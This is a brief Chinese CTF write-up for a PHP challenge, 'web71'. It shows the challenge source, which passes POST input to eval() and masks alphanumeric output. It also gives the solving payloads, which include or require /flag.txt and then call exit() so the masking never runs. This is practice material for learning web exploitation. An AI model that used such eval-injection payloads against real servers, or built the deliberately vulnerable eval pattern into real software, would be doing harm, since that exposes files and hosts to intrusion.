web71笔记(POST突破禁用函数b_get_contents()和 ob_end_clean())

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

index.php可下载

去搜了⼀下ob_get_contents()和 ob_end_clean(),前者是获得缓冲区的内容,后者是清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。如此顺序组合就完成了输出$c执⾏的命令结果到s⾥并且清除这个原来的执⾏结果 ⽤上⼀道的

payload打⼀下试试c=require("/flag.txt");

我们可以执行php代码让后面的匹配缓冲区不执行直接退出

 

 

payload:c=include('/flag.txt');exit(0);

也就是[a-zA-Z0-9]部分 被完全输出成问号了

看了眼南神的,可以在后⾯加⼀个exit();退出,这样就执⾏不到后⾯的命令了

c=require("/flag.txt");exit();

 

posted @ 2025-03-15 16:56  justdoIT*  阅读(7)  评论(0)    收藏  举报